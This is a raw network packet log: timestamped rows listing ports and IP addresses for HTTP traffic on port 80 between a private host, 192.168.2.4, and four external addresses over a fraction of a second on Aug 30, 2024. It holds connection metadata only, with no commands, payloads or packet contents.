Aug 30, 2024 03:17:06.552002907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.552016020 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.552021980 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.552042961 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.552063942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.555561066 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.555572033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.555627108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.559077024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.559133053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.559360981 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.560456038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.560466051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.560523987 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.564102888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.579991102 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580002069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580012083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580046892 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.580065012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.580199957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580209970 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580219984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580230951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580240965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.580245972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580265045 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.580281973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.580774069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580976963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580988884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.580996990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.581018925 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.581042051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.590806961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590879917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590890884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590893030 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.590908051 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.590929985 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.590933084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590944052 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590955019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590965986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590965986 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.590977907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.590985060 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591001987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591032028 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591041088 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591052055 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591072083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591094971 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591126919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591140032 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591178894 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591196060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591211081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591221094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591231108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591247082 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591268063 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591284990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591294050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591304064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591315031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591324091 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591331005 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591336966 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591346025 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591370106 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591382027 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591391087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591420889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591424942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591432095 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591461897 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591540098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591548920 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591559887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591573954 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591582060 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591594934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591603041 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591618061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591623068 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591634989 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591645956 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591656923 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591677904 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591681004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591694117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591716051 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591738939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591867924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591882944 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591892958 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591902971 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591909885 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591914892 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591922998 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591924906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591958046 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.591959953 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591969967 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.591976881 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592010021 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592031002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592086077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592097044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592129946 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592148066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592158079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592192888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592195988 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592206955 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592221022 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592236042 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592251062 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592277050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592284918 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592293978 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592305899 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592317104 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592329979 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592349052 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592358112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592386961 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592394114 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592397928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592408895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592426062 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592446089 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592534065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592545033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592554092 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592566013 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592580080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592582941 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592603922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592605114 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592616081 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592622995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592642069 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592653990 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592657089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592667103 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592675924 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592714071 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592730045 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592741013 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592772961 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592781067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592792034 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592822075 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592828035 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592843056 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592883110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592937946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592973948 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.592981100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.592991114 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593015909 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593017101 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593030930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593053102 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593069077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593107939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593136072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593168974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593169928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593204021 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593220949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593231916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593241930 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593264103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593287945 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593313932 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593324900 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593333960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593357086 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593377113 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593492031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593518019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593529940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593544960 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593573093 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593574047 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593584061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593616962 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593617916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593630075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593640089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593653917 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593677044 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593709946 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593722105 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593732119 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593750954 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593765974 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593832970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593842030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593852043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593874931 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593877077 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593887091 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593887091 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593905926 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593919039 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.593944073 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593987942 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.593997955 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.594033957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.594055891 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.594063044 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.594072104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.594082117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.594104052 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.594126940 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.595140934 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595150948 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595161915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595199108 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.595232010 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.595252037 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595263004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595273018 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595284939 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.595288992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.595319033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.595814943 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.595824957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.595869064 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.595906019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.595916986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.595927000 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.595944881 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.595971107 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.595982075 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.595992088 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596026897 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596070051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596105099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596111059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596117020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596158028 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596247911 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596259117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596271038 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596296072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596297979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596307993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596308947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596319914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596338034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.596348047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596350908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.596359015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596369982 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596385002 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596393108 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596405029 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596406937 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596416950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596431971 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596452951 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596465111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596479893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596510887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596522093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596524954 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.596534014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596544981 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.596545935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596558094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596569061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596571922 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596586943 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596596003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596612930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596625090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596636057 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596642971 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596653938 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596668005 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596668005 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596681118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596682072 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596703053 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596712112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596724987 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596726894 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596739054 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596751928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596761942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596781015 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596785069 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596796036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596807003 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596817017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.596833944 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.596858978 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.596883059 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596894979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596906900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596918106 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596929073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596930981 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596940994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.596955061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.596972942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597021103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597032070 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597040892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597053051 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597064018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597067118 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597076893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597107887 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597249985 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597261906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597270966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597281933 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597291946 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597296000 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597302914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597315073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597326994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597330093 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597338915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597348928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.597348928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.597368002 CEST	80	49737	176.113.115.33	192.168.2.4
